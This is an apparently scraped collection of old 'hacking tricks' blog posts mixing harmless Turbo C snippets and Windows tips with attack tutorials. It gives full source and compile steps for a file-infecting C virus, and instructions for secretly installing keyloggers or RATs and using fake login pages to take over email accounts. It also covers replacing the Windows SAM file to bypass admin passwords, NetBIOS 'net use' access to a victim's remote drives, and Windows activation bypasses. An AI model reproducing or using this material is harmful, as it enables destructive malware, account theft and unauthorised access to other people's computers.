C Program to Set/Change the Current System Time

This program can be used to set or change the system time

#include
#include

int main(void)
{
struct time t;
gettime(&t);
printf(”The current hour is: %d\n”, t.ti_hour);
printf(”The current min is: %d\n”, t.ti_min);
printf(”The current second is: %d\n”, t.ti_sec);

/* Add one to the hour,minute & sec struct element and then call settime */

t.ti_hour++;
t.ti_min++;
t.ti_sec++;
settime(&t);
printf(”The current hour is: %d\n”, t.ti_hour);
printf(”The current min is: %d\n”, t.ti_min);
printf(”The current second is: %d\n”, t.ti_sec);
return 0;
}

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C Program to Get the Current System Date

This program will get or read the current system date from the system.It displays Year,Month and Day.

#include
#include

int main(void)
{
struct date d;
getdate(&d);
printf(”The current year is: %d\n”, d.da_year);
printf(”The current day is: %d\n”, d.da_day);
printf(”The current month is: %d\n”, d.da_mon);
return 0;
}

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C Program to Set/Change the Current System Date

This program can be used to set the system date or to change the current system date.






#include
#include
#include

int main(void)
{
struct date reset;
struct date save_date;
getdate(&save_date);
printf(”Original date:\n”);
system(”date”);
reset.da_year = 2001;
reset.da_day = 1;
reset.da_mon = 1;
setdate(&reset);
printf(”Date after setting:\n”);
system(”date”);
setdate(&save_date);
printf(”Back to original date:\n”);
system(”date”);
return 0;
}

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Hacking an Email Account

The most frequent questions asked by many people especially in a chat room is How to  Hack Yahoo, Gmail or any other Password .So you as the reader are most likely reading this because you want to hack into some body’s email account.Here are some of the tricks that can be used to track password of a person’s email account.

THINGS YOU SHOULD KNOW BEFORE PROCEEDING



There is no program that will hack the password of one’s account.There exist many programs which claims hack an email account,but unfortunately people using these kind of programs will only end up in frustration.None of these programs will hack an account, since services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts.Another thing you must know if you ask this question in any “hacker” chat room/channel, you hear that you have to email some address and in any way you give up your password in the process, in attempt to other’s email account.So DO NOT BELEIVE THIS.

TWO EASY WAYS TO HACK AN EMAIL ACCOUNT

 

IF YOU HAVE ACCESS TO VICTIM’S COMPUTER

If you have physical access to victim’s computer then it’s definitely possible to hack his/her account.This can easily be done by just installing a keylogger.

What is a keylogger?

A keylogger, sometimes called a keystroke logger, key logger, or system monitor, is a hardware device or small program that monitors each keystroke a user types on a specific computer’s keyboard.Keylogger is the easiest way to hack an email account if you have physical access to victim’s computer. 

A keylogger program can be installed just in a few seconds and once installed you are only a step away from getting the victim’s password.

1.Where is the keylogger program available?

A keylogger program is widely available on the internet.some of them are listed below

Powered Keylogger

Advanced keylogger

Elite Keylogger

Handy Keylogger

Quick Keylogger

There exists hundreds of such keyloggers available on the net.These are software keyloggers.There are also hardware Keyloggers available which can be directly attached to computer and can be used to sniff valuable data.These programs are none other than spyware! So use it @ your own risk.

2.How to install it?



You can install these keyloggers just as any other program but these things you must keep in mind.While installing,it asks you for a secret password and a hot key to enable it.This is because after installing the keylogger program is completely hidden and the victim can no way identify it.

3.Once installed how to get password from it?



The hacker can open the keylogger program by just pressing the hot keys(which is set during installation) and enter the password.Now it shows the logs containing every keystroke of the user,where it was pressed,at what time,including screenshots of the activities.These logs contain the password of the victim’s email account.

4.Which keylogger program is the best?

According to me Elite Keylogger and Powered keyloggerare the best.You can also read the features and side by side comparisons of them and select the best that suites your needs.

IF YOU DO NOT HAVE ACCESS TO VICTIM’S COMPUTER



Of course the above method can only be employed if you can access victims computer.But how to hack an email account if we do not have access.In this case there exists many Remote Administration Toolscommonly known as RATs available on net.Just try googling and you can get one. Here’s my new post on keyloggers with remote installation support : How To Hack Yahoo Password 

In case you deliberately need to retrieve a password then you can hire Email hacking services to hack the account.There exists many such sites which claim to get any one’s PW on demand for just a few dollars.I have no trust on these site.But any way you can give a try.

OTHER WAYS TO HACK AN EMAIL ACCOUNT

 

The other most commonly used trick to sniff password is using Fake Login Pages.

Today, Fake login pages are the most widely used techniques to hack an email account.A Fake Login page is a page that appears exactly as a Login page but once we enter our password there ,we end up loosing it.

Fake login pages are created by many hackers on their sites which appear exactly as Gmail or Yahoo login pages but the entered details(username & pw) are redirected to remote server and we get redirected to some other page.Many times we ignore this but finally we loose our valuable data.

Before leaving you should definitely consider reading my latest post Hacking Yahoo, Gmail or any other Password which covers the real ways of professional email hacking using Fake Login Pages

 

WARNING:ALL THE ABOVE INFORMATION IS FOR EDUCATIONAL PURPOSES ONLY.THE SITE HOLDS NO RESPONSIBLITY ON WHAT WAY YOU USE THESE INFORMATIONS

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Hacking Windows Administrator Password

This article introduce very simple way to hack Administrator Password on Win XP System.This tutorial tells you how to break administrator password and gain access to admin account.Also if you need to crack/reveal the password you find the steps here to accomplish that also.

First of all let us have a close look at the Security flaws/Loopholes in Win XP

Microsoft stores all Security Information in many files but the main file is the SAM file (Security Accounts Manager)! this file contain security information about users(mainly Password).You can explore the SAM file here in this folder

$windows\system32\config

SAM is the file which contains the passwords in the form of a HASH.A HASH is a mathematically irreversible form of encryption,so that theres no way of decrypting the password back .Also there’s a file called SECURITY that contains a list of all users in the system & their related information



We will Not be able To copy them Under XP since it doesn’t support any attempt to copy this file.

The Idea Behind Cracking the password

The Idea is simple I will explain it manually and it can also be programmed.Here’s the idea..

The SAM contain’s a Security Information(password/s), so I have created a Free Windows XP SP2 Logon account (Administrator Account without password) that means when windows Launch it Will enter directly to the system without asking about any password.So, this SAM file contain’s an open password(no password).This SAM file is available for download for your further use in breaking the password of the system.

So, the idea here is to replace the SAM file of victim’s computer(which contain’s password) with the SAM file which contains no password.When this is done the password of the victim’s account is erased and it let’s anyone to login to the computer as if there is no password set by admin.

But this SAM file cannot be manipulated(copy/rename/replace/delete) when the operating system is running.So here are some of the ideas to replace this SAM file.

1.If there are two OS installed on the computer we can boot from other OS and replace the SAM file located at

$:\windows\system32\config

2.If there is only a single OS then use the tool NTFS4DOS to access the location of the SAM and SECURITY files from the boot command prompt.

NTFS4DOS creates a bootable floppy disk.You can use this floppy to access the NTFS drives by booting the system and mounting it to DOS.

Here are the steps to be followed to break the password.

1- Download My SAM file which I have Included in Downloads

2- Go to the target Machine , and try to Access it by Booting from the floppy created by NTFS4DOS or by other OS(incase you have two OS installed)

3- After Getting Access to the Boot Command prompt c:> Go to the config folder

$windir$\system32\config

And Copy the SAM File and SYSTEM File(we will need it later) To other any folder, Then replace the original SAM file(In $windows$\system32\config) with the SAM file i have provided

5- Reboot and Make windows enter Normally

6- Yeah, Now you can directly enter the system without any password. ie:The PW is broken!.



Now you have broken the system administrator password and you can directly enter system.Now one phase of the password hack is over.If you need to know/crack the admin password then you can use the two files SAM & SECURITY that you have copied in the above STEP-3(This step is optional).It is done as follows.

Download any of the following Password crackers



1.LC4 (Lophtcrack).New version is LC5

OR

2.SAMINSIDE

LC5 is better according to me

You can also contact me using the Contact Form for those two tools if you don’t find it.

Once you have either of the two password cracking tools,you can load the SAM & SECURITY files and start the cracking process.This process may take a long time since it is Bruteforce method depending on the size of the password.



NOTE: THE ABOVE METHOD IS ALSO APPLICABLE FOR WINDOWS VISTA

IF THE ABOVE TRICK FAILS AND IF YOU GET AN ERROR-REFER THIS POST FOR A SOLUTION

“Security Accounts Manager Initialization Failed” How To Recover?

WARNING: THE ABOVE INFORMATION IF FOR EDUCATIONAL PURPOSES ONLY

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Blu-ray Takes Lead in Hardware Sales of January

According to data from NPD, Warner Brothers’ pre-CES announcement that it would back Blu-ray exclusively seems to have bolstered Blu-ray Disc player sales, and dramatically lowered HD DVD player sales. The data (disclosed by The Digital Bits), notes that in the week ending 1/5/08, Blu-ray Disc player sales were at 15,257 units, and HD DVD player sales were at 14,558 units.

Fast forward to after the Warner announcement. The week ending January 12 showed Blu-ray Disc had increased its lead by 42 percent, to 21,770 units sold. HD DVD sales plummeted by 88 percent, to just 1,758 units. This data would seem to support the fact that Warner’s announcement was indeed the tipping point that would ultimately determine the winner of the format war.

And no wonder. With Warner’s support, Blu-ray is now the format-of-choice of more than 70 percent of Hollywood’s content producers.

Of course, in looking at those numbers, Blu-ray’s commanding lead wasn’t the only thing that sprang to mind. I couldn’t help but notice that overall unit sales were actually down between those two weeks: 29,815 vs 23,528. Assuming, for a moment, that the first week sales weren’t just spiked by people using up holiday gift cards, that 21 percent drop in sales makes me think one of two things: Either a significant number of HD DVD buyers were so sensitive to the price of a player that they just won’t up the ante for the extra bucks that a Blu-ray player might require over HD DVD; or–the more likely scenario–a significant number of HD DVD buyers were purchasing the player primarily because it was an upconverting DVD player.

I’ll be interested to see what the January disc (software) sales data ends up showing once the month is out. My suspicion: We’ll see the Warner announcement had some impact there, as well (already, early 2008 Nielsen VideoScan sales, as reported by Home Media Magazine, show HD DVD represented just 15 percent of the high-def discs sold through January 13). I’ll also be interested in seeing whether the sales ratio for players maintains in the ensuing weeks, or if that 88 percent dropoff was an anomaly. The player sales numbers will be all the more interesting since Toshiba instituted aggressive price cuts on all three of its players as of January 13.

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A Closer Look at Windows Vista Service Pack 1 Beta

The Microsoft operating system is improved by the soon-to-arrive service pack, but Windows Vista still is missing some features we’d like to see.

With dissatisfaction over the Vista operating system persistent, can Microsoft right the OS’s wrongs with its upcoming Vista service pack?

Microsoft made the latest beta of Vista SP1 available to the public earlier this month, and after informally testing it for a couple of days, I find my PC is working more reliably–and some tasks especially file copying, take less time. But I was hoping for more out of SP1, such as bigger system performance gains and fixes for Vista annoyances including the oft-criticized User Account Control feature.

And if you are waiting for major improvements to switch to Vista, you’d better hope that Microsoft’s SP1 development team goes into overdrive before the service pack’s official release and gives you more compelling reasons to make the jump to the OS. Vista undergoes no major overhaul with the SP1 release I looked at.

By the way, Microsoft has said SP1 will ship sometime in the first quarter; sources recently said SP1 would appear in the next few weeks.

Key features in Vista Service Pack 1 Release Candidate Refresh (the downloadable beta’s official name) include improved reliability, security, and performance. In its description of SP1, Microsoft notes many tweaks are buried deep in the shell of the OS and include hard-to-quantify improvements–for example, support for a couple of emerging standards–Extensible Firmware Interface (EFI) and Extended File Allocation Table (exFAT)–and better compatibility with third-party software and PC peripherals.

 

SP1 Boosts Reliability, Security, and Performance

On the reliability front, Microsoft says SP1 reduces the time it takes to boot and power down a Vista PC as well as the time it takes a PC to wake from hibernation mode, or to snap back after a photo screen saver has been running. Also fixed is the occasional 10-second delay between pressing CTRL-ALT-DEL at boot up and the appearance of the password prompt.

Other fixes address the mysterious problem of how browsing network files eats up more network bandwidth than expected, compared to earlier version of Windows.

And lastly, Microsoft says it has devoted considerable effort to improving file and folder management. SP1 claims to cut the time it takes to extract files to and from a compressed (zipped) folder - but won’t say by how much.

However Microsoft does make some specific claims about performance gains. It says the service pack reduces by 45 percent the time it takes to copy files from a remote non-Windows Vista system to a SP1 system. A 50 percent gain is seen, Microsoft says, when copying files from a remote SP1 system over a LAN to a local SP1 system.

Microsoft’s TechNet has a full list of notable changes in Windows Vista SP1.

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Security Accounts Manager Initialization Failed" How to recover?

SYMPTOMS

When you start your Windows XP Home Edition or Windows XP Professional-based computer, you may receive the following error message:

Security Accounts Manager initialization failed because of the following error: A device attached to the system is not functioning. Error Status: 0xc0000001.

Please click OK to shut down this system and reboot into Safe Mode, check event log for more detailed information.

When you start the computer in Safe mode, you receive the same error message.

CAUSE

This issue may occur if the Security Accounts Manager file (SAM) is corrupted or missing.

RESOLUTION

To resolve this issue, either restore or replace the SAM file.

Note: You cannot use the repair process or the recovery console to resolve this issue. These methods require authentication, which cannot occur if the SAM file is corrupted or missing.

To resolve this issue, use one of the following methods.

Method 1: Restore the SAM File from Backup

If you used the Backup utility in Windows XP to back up the system state, you can restore the SAM (and all other registry settings) from the disk or archived copy by using the Restore Wizard or the Automated System Recovery Wizard.

Note: ASR is not supported on Windows XP Home Edition.

Method 2: Copy the SAM File from the Repair Folder

If you cannot restore the SAM file by using the Windows Backup utility, copy the SAM file from the following location

C:\WINDOWS\repairand paste it to this location:

C:\WINDOWS\system32\config

Note: When you do this, you will lose all accounts or groups that had been created. You will also need credentials that were valid at the time that the ASR was run. This will restore the SAM back to the last instance that Automated System Recovery (ASR) was run, or to when the system was first installed. To do this, follow these steps:

1.Do either of the following:

• Start the computer from another operating system (if you have a multiple-boot system). Note If Windows XP is installed on an NTFS file system drive, you must start the computer from an operating system that can access the NTFS drive (for example, Microsoft Windows 2000 or Microsoft Windows NT). If Windows is installed on a FAT32 drive, you can start the computer by using Microsoft Windows Millennium Edition (Me) or Microsoft Windows 98. -or

• Perform a parallel installation of Windows XP, and then start the computer from the parallel installation.

2. Click Start, click Run, type cmd (or command if you are using Windows Me or Windows 98), and then click OK.

3. At the command prompt, type each of the following commands, pressing ENTER after each command:

copy c:\windows\system32\config\sam c:\windows\tmp\sam.bak

delete c:\windows\system32\config\samcopy c:\windows\repair\sam

copy c:\windows\system32\config\sam

Note: This procedure assumes that you have Windows XP installed in the following default location:

c:\windows

4.Restart the computer by using the original installation of Windows XP.

Method 3: Reinstall Windows XP

If you cannot restore the SAM file by using either Method 1 or Method 2, you must reinstall Windows XP to replace the SAM file.

Note You must use the New Installation option to replace the SAM file. If you perform use the In-Place Upgrade (Reinstallation) option for Windows XP, the SAM file is not replaced. This method may require that you reformat the partition that Windows XP is installed to. Before you continue with this method, make sure that you have a backup of your My Documents folder, or select an option to install Windows XP to a different partition than where Windows is currently installed.

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Forgot Windows XP Password ?

Yes it is possible to change Adminstrator password both in Win XP and Vista without knowing it.If you somehow manage to login as an Administrator then you can change the password without knowing it.

Heres the Step-By-Step instructions

1. Right-click on the “My Computer” icon on the desktop OR in the Start Menu.

2. Select the option “Manage”.

3. On the left pane expand the “Computer Management (Local) tree (if it is not already expanded)

4. Double click “Local Users and Groups” option From “System Tools” tree.

5. Click the “Users” option.

6. Now you will see the list of users on the right side pane,such as Administrator,Guest etc.

7. Right click the “Administrator” and select the option “Set Password” option.

8. Now you will see a warning message,Click on proceed.

9. Now the system asks you for “New Password” and “Confirm Password” .

10. After entering the password click on “OK”.The password is changed.That’s It!

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What’s Next after Windows Vista?

It’s Windows Vienna

Windows 7 (formerly codenamed Blackcomb, then Vienna) is a future version of Microsoft Windows. It is expected to be the successor to Windows Vista. Microsoft has confirmed that the planned development time frame is at least three years, putting the release date around 2010. On July 20, 2007, Microsoft confirmed that Windows 7 is “the internal name for the next version of the Windows Client OS”.

Microsoft has refrained from discussing the details about Windows 7 publicly as they focus on the release and marketing of Windows Vista,though some early details of various core operating system features have emerged at developer conferences such as Windows Hardware Engineering Conference in 2006.

On February 9, 2007, Microsoft’s Ben Fathi claimed that the focus on the operating system was still being worked out, and could merely hint at some possibilities:

“We’re going to look at a fundamental piece of enabling technology. Maybe it’s hypervisors. I don’t know what it is” [...] “Maybe it’s a new user interface paradigm for consumers.

”

Bill Gates, in an interview with Newsweek, also suggested that the next version of Windows would “be more user-centric.” When asked to clarify what he meant, Gates said: “ That means that right now when you move from one PC to another, you’ve got to install apps on each one, do upgrades on each one. Moving information between them is very painful. We can use Live Services to know what you’re interested in. So even if you drop by a [public] kiosk or somebody else’s PC, we can bring down your home page, your files, your fonts, your favorites and those things. So that’s kind of the user-centric thing that Live Services can enable. [Also,] in Vista, things got a lot better with [digital] ink and speech, but by the next release there will be a much bigger bet. Students won’t need textbooks; they can just use these tablet devices. Parallel computing is pretty important for the next release. We’ll make it so that a lot of the high-level graphics will be just built into the operating system. So we’ve got a pretty good outline. ”

Other features

Another feature mentioned by Bill Gates is “a pervasive typing line that will recognize the sentence that [the user is] typing in.” The implications of this could be as simple as a “complete as you type” function as found in most modern search engines, (e.g. Google Suggest) or as complex as being able to give verbal commands to the PC without any concern for syntax.

Availability

The client versions of Windows 7 will ship in both 32-bit and 64-bit versions.Server versions of Windows 7, however, will be exclusively 64-bit.

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C Program to display the No. of Digits in an Entered Number

This program displayes the number of digits present in the number that is entered through the input.

#include
#include

void main()
{
unsigned long int num;
int i=0;
clrscr();
printf(”Enter the digit\n”);
scanf(”%lu”,&num);
while(num!=0)
{
num=num/10;
++i;
}
printf(”Length=%d”,i);
getch();
}

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Get Rid of the Recycle Bin on your Desktop

Here is a way to remove the recycle bin from your desktop.This trick help’s people who want to get rid of the recycle bin on the desktop.

 

 

1.Goto start,Run,Type “gpedit.msc” (Type without quotes)

2.On the left panel,under User Configuration expand the tree Administrative templates

3.Click on the subtree desktop (single click,do not expand it)

4.On the right panel,Select the option-Remove Recycle Bin icon from desktop properties

5.Double click the option,on the settings tab just select the option enabled,press OK & exit the window.

6.Refesh the desktop (press F5) ,Your Recycle Bin vanishous

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Changing Windows XP Product Key without Re-Installation

This trick will show you how to change Windows XP product key without re-installing the operating system.This makes it possible to install a new genuine key without the need to format and re-install your Windows XP.

 

1.Goto start menu,run,type regedit

2.In registry editor goto

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENT VERSION\WPA EVENTS



3.In the right panel open OOBE Time

4.Edit/Change atleast one entry there,press OK and close registry editor.

5.In run type the following command

%systemroot%\system32\oobe\msoobe /a

and press enter

6.Activation wizard appears

7.Select activation by phone and in the next screen select the option CHANGE PRODUCT KEY,enter a valid corporate product key,press OK and close the wizard

8.Reboot the computer and type the same command in the run

9.Activation wizard appears again and it shows the message WINDOWS IS ALREADY ACTIVATED.

ARE YOU BORED OF FOLLWING THOSE TEDIOUS STEPS?CONFUSED?

THEN NO PROBLEM.DOWNLOAD THIS WIN XP GENUINE MAKER THAT I HAVE CODED RECENTLY.THIS IS NEITHER A VIRUS OR TROJAN & DOES NOT HAVE MALICIOUS INTENT.A NICE TOOL FOR YOUR EASE OF USE.

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C Program to Print the Entered Number in Words

The following C program print’s the entered number in words.For example if the number entered is 12345 then the program prints the entered number in words as One Two Three Four Five




#include
void main()
{
int i=0;
unsigned long int digit;
char str[12],ch;
puts(”Enter the number (less than 10 digit)”);
scanf(”%lu”,&digit);
ultoa(digit,str,10); /*converts an unsigned long int to string*/
while(str[i]!=’\0′)
{
ch=str[i];
i++;
switch(ch)
{
case ‘1′:
printf(”ONE “);
break;
case ‘2′:
printf(”TWO “);
break;
case ‘3′:
printf(”THREE “);
break;
case ‘4′:
printf(”FOUR “);
break;
case ‘5′:
printf(”FIVE “);
break;
case ‘6′:
printf(”SIX “);
break;
case ‘7′:
printf(”SEVEN “);
break;
case ‘8′:
printf(”EIGHT “);
break;
case ‘9′:
printf(”NINE “);
break;
case ‘0′:
printf(”ZERO “);
break;
}
}
}

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Use Vista for atleast 1 Year without Activation

Microsoft allows bypass of Vista activation

 

The following describes the Registry key that’s involved

 

Step 1.

While running a copy of Windows Vista that hasn’t yet been activated, click the Start button, type regedit into the Search box, then press Enter to launch the Registry Editor.

 

Step 2.

Explore down to the following Registry key:HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ SL

 

Step 3.

Right-click the Registry key named SkipRearm and click Edit. The default is a Dword (a double word or 4 bytes) with a hex value of 00000000. Change this value to any positive integer, such as 00000001, save the change, and close the Registry Editor.

 

Step 4.

Start a command prompt with administrative rights. The fastest way to do this is to click the Start button, enter cmd in the Search box, then press Ctrl+Shift+Enter. If you’re asked for a network username and password, provide the ones that log you into your domain. You may be asked to approve a User Account Control prompt and to provide an administrator password.

 

Step 5.

Type one of the following two commands and press Enter:slmgr -rearmorrundll32 slc.dll,SLReArmWindowsEither command uses Vista’s built-in Software Licensing Manager (SLMGR) to push the activation deadline out to 30 days after the command is run. Changing SkipRearm from 0 to 1 allows SLMGR to do this an indefinite number of times. Running either command initializes the value of SkipRearm back to 0.

 

Step 6.

Reboot the PC to make the postponement take effect. (After you log in, if you like, you can open a command prompt and run the command slmgr -xpr to see Vista’s new expiration date and time.

 

Step 7.

To extend the activation deadline of Vista indefinitely, repeat steps 1 through 6 as necessary. 

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C Program to Generate Numbers in Pyramid Pattern

This program generates the numbers in pyramid pattern.It takes the input from two through nine and generates the numbers in the pyramid pattern.For example if the input is 4 then the program produces the following output

…

   ….1

1111112 2

111113 3 3

111.4 4 4 4& so on..

 

CODE:



#include<stdio.h>

#include<conio.h>

void main()

{

int i,n,j,x=40,y=10;

clrscr();

printf(”Enter n (between 2 & 9)\n”);

scanf(”%d”,&n);

for(i=1;i<=n;i++)

{

gotoxy(x,y); /* To take the cursor to the co-ordinates x & y */

for(j=1;j<=i;j++)

{

 printf(”%d “,i);

}

x=x-1;

y++;

}

getch();

}

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How to Create a Computer Virus?

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

 

#include<stdio.h>

#include<io.h>

#include<dos.h>

#include<dir.h>

#include<conio.h>

#include<time.h>

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(”*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if(host==NULL) goto next;

x=89088;

printf(”Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus);

fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(”DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(”TIME TAKEN=%f SEC\n”,

(end-st)/CLK_TCK);

getch();

}

COMPILING METHOD:



BORLAND TC++ 3.0 (16-BIT):



1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :



1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:



1. Open new empty folder



2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

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C Program To Accept Password

This is a simple login program in C.While accepting password it masks each character using ‘*’ symbaol and display the password in the next line after the user hits Enter key.It also accepts backspaces and acts accordingly.




#include
#include

char pw[25],ch;
int i;
void main()
{
clrscr();
puts(”Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(’\b’);
putch(NULL);
putch(’\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0′;
printf(”\n\n%s”,pw);
getch();
}

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Netbios Hacking

THIS NETBIOS HACKING GUIDE WILL TELL YOU ABOUT HACKING REMOTE COMPUTER AND GAINING ACCESS TO IT’S HARD-DISK OR PRINTER.NETBIOS HACK IS THE EASIEST WAY TO BREAK INTO A REMOTE COMPUTER.

STEP-BY-STEP NETBIOS HACKING PROCEDURE

1.Open command prompt

2. In the command prompt use the “net view” command

( OR YOU CAN ALSO USE “NB Scanner” OPTION IN “IP-TOOLS” SOFTWARE BY ENTERING RANGE OF IP ADDRESSS.BY THIS METHOD YOU CAN SCAN NUMBER OF COMPUTERS AT A TIME).

Example: C:\>net view \\219.64.55.112

The above is an example for operation using command prompt.”net view” is one of the netbios command to view the shared resources of the remote computer.Here “219.64.55.112″ is an IP address of remote computer that is to be hacked through Netbios.You have to substitute a vlaid IP address in it’s place.If succeeded a list of HARD-DISK DRIVES & PRINTERS are shown.If not an error message is displayed. So repeat the procedure 2 with a different IP address.

3. After succeeding, use the “net use” command in the command prompt.The “net use” is another netbios command which makes it possible to hack remote drives or printers.

Example-1:

C:\>net use D: \\219.64.55.112\F

Example-2:

C:\>net use G: \\219.64.55.112\SharedDocs

Example-3:

C:\>net use I: \\219.64.55.112\Myprint



NOTE: In Examples 1,2 & 3, D:,G: & I: are the Network Drive Names that are to be created on your computer to access remote computer’s hard-disk.

NOTE: GIVE DRIVE NAMES THAT ARE NOT USED BY ANY OTHER DRIVES INCLUDING HARD-DISK DRIVES,FLOPPY DRIVES AND ROM-DRIVES ON YOUR COMPUTER.THAT IS IF YOU HAVE C: & D: AS HARD DIRVES, A: AS FLOPPY DIVE AND E: AS CD-DRIVE, GIVE F: AS YOUR SHARED DRIVE IN THE COMMAND PROMPT

F:,”SharedDocs” are the names of remote computer’s hard-disk’s drives that you want to hack. “Myprint” is the name of remote computer’s printer.These are displayed after giving “net use” command. “219.64.55.112″ is the IP address of remote computer that you want to hack.

4. After succeeding your computer will give a message that “The command completed successfully“. Once you get the above message you are only one step away from hacking the computer.

Now open “My Computer” you will see a new “Hard-Disk drive”(Shared) with the specified name.You can open it and access remote computer’s Hard-Drive.You can copy files,music,folders etc. from victim’s hard-drive.You can delete/modify data on victim’s hard-drive only if WRITE-ACCESS is enabled on victim’s system.You can access files\folders quickly through “Command Prompt”.

NOTE: If Remote Computer’s Firewall Is Enabled Your Computer Will Not Succeed In Gaining Access To Remote Computer Through Netbios.That is Netbios Hacking Is Not Possible In This Situation.(An Error Message Is Displayed).So Repeat The Procedure 2,3 With Different IP Address.

HAPPY NETBOS HACKING!!

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What are IP Addresses

An IP address (Internet Protocol address) is a unique address that certain electronic devices currently use in order to identify and communicate with each other on a computer network utilizing the Internet Protocol standard (IP)—in simpler terms, a computer address. Any participating network device—including routers, switches, computers, infrastructure servers (e.g., NTP, DNS, DHCP, SNMP, etc.), printers, Internet fax machines, and some telephones—can have its own address that is unique within the scope of the specific network. Some IP addresses are intended to be unique within the scope of the global Internet, while others need to be unique only within the scope of an enterprise.

The IP address acts as a locator for one IP device to find another and interact with it. It is not intended, however, to act as an identifier that always uniquely identifies a particular device. In current practice, an IP address is less likely to be an identifier, due to technologies such as Dynamic assignment and Network address translation.

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Web Proxies

 

In computer networks, a proxy server is a server (a computer system or an application program) which services the requests of its clients by forwarding requests to other servers. A client connects to the proxy server, requesting some service, such as a file, connection, web page, or other resource, available from a different server. The proxy server provides the resource by connecting to the specified server and requesting the service on behalf of the client. A proxy server may optionally alter the client’s request or the server’s response, and sometimes it may serve the request without contacting the specified server. In this case, it would ‘cache’ the first request to the remote server, so it could save the information for later, and make everything as fast as possible.

A proxy server that passes all requests and replies unmodified is usually called a gateway or sometimes tunneling proxy.

A proxy server can be placed in the user’s local computer or at specific key points between the user and the destination servers or the Internet.

Caching proxy server

A proxy server can service requests without contacting the specified server, by retrieving content saved from a previous request, made by the same client or even other clients. This is called caching. Caching proxies keep local copies of frequently requested resources, allowing large organizations and Internet Service Providers to significantly reduce their upstream bandwidth usage and cost, while significantly increasing performance. There are well-defined rules for caching. Some poorly-implemented caching proxies have had downsides (e.g., an inability to use user authentication). Some problems are described in RFC 3143 (Known HTTP Proxy/Caching Problems).



Web proxy

Proxies that focus on WWW traffic are called web proxies. Many web proxies attempt to block offensive web content. Other web proxies reformat web pages for a specific purpose or audience (e.g., cell phones and PDAs)

Access control: Some proxy servers implement a logon requirement. In large organizations, authorized users must log on to gain access to the ‘WWW.’ . The organization can thereby track usage to individuals.



Anonymizing proxy server

A proxy server that removes identifying information from the client’s requests for the purpose of anonymity is called an anonymizing proxy server or anonymizer.

Transparent and non-transparent proxy server

The term “transparent proxy” is most often used incorrectly to mean “intercepting proxy” (because the client does not need to configure a proxy and cannot directly detect that its requests are being proxied).

However, RFC 2616 (Hypertext Transfer Protocol — HTTP/1.1) offers different definitions:

“A ‘transparent proxy’ is a proxy that does not modify the request or response beyond what is required for proxy authentication and identification.

“A ‘non-transparent proxy’ is a proxy that modifies the request or response in order to provide some added service to the user agent, such as group annotation services, media type transformation, protocol reduction, or anonymity filtering.”

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Renaming Win XP Start Menu Button

This guide will show you how to edit/rename the Windows XP start menu button.Are you bored of having the name “start”? If so now you can rename your start menu button to give the name of your choice.



STEP 1:BYPASSING WINDOWS FILE PROTECTION



1.Launch My Computer,click tools,folder options,then view

2.Select show all hidden files and folders option and uncheck the option hide

protected operating system files,unckeck hide extention for known file types

3.Open C:\windows\system32\restore,select the file filelist.xml,right click it go to properties and uncheck read-only

4.Open it(filelist.xml) with notepad

5.Add the line <rec>%systemroot%\explorer.exe</rec> as shown below

<exclude>

<rec>%systemroot%\explorer.exe</rec>

<rec> %windir%\system.ini</rec>

<rec> %windir%\tasks\desktop.ini</rec>

<rec> %windir%\win.ini</rec>

<rec> *:\AUTOEXEC.BAT </rec>

<rec>*:\CONFIG.MSI</rec>

<rec> *:\CONFIG.SYS </rec>

6.Save the file

7.Open C:\windows\system32\dllcache,you will find a backup copy of explorer.exe. Rename it to explorer.bak.

STEP 2:CHANGING THE NAME OF START BUTTON



1.Open Resource Hacker,open C:\windows\explorer.exe

2.Expand string,expand 37,click on 1033

3.On right side raname “start” to anything you want EG.”anything” and press compile script

4.Repeat the same procedure for string,38,1033

5.Save changes in file menu(if error occurs close explorer.exe and repeat sub-step 3 & 4

6.Press ctrl+alt+del in processes tab of task manager endtask explorer.exe

7.Again in new task open C:\windows\explorer.exe you will see that start menu is renamed

8.Close task manager and ENJOY!!!!

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Program to Print it’s Own Source Code

Here is a C program to print it’s own source code.That is the output of this program is exactly same as it’s source code.Here’s the program

#include
char *program=”#include%cchar *
program=%c%s%c;%cvoid main()%c{%cprintf
(program,10,34,program,34,10, 10,10,10);%c}”;
void main()
{
printf(program,10,34,program,34,10,10,10,10);
}

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C Program to Remove Comments and Blank lines from a valid C Program

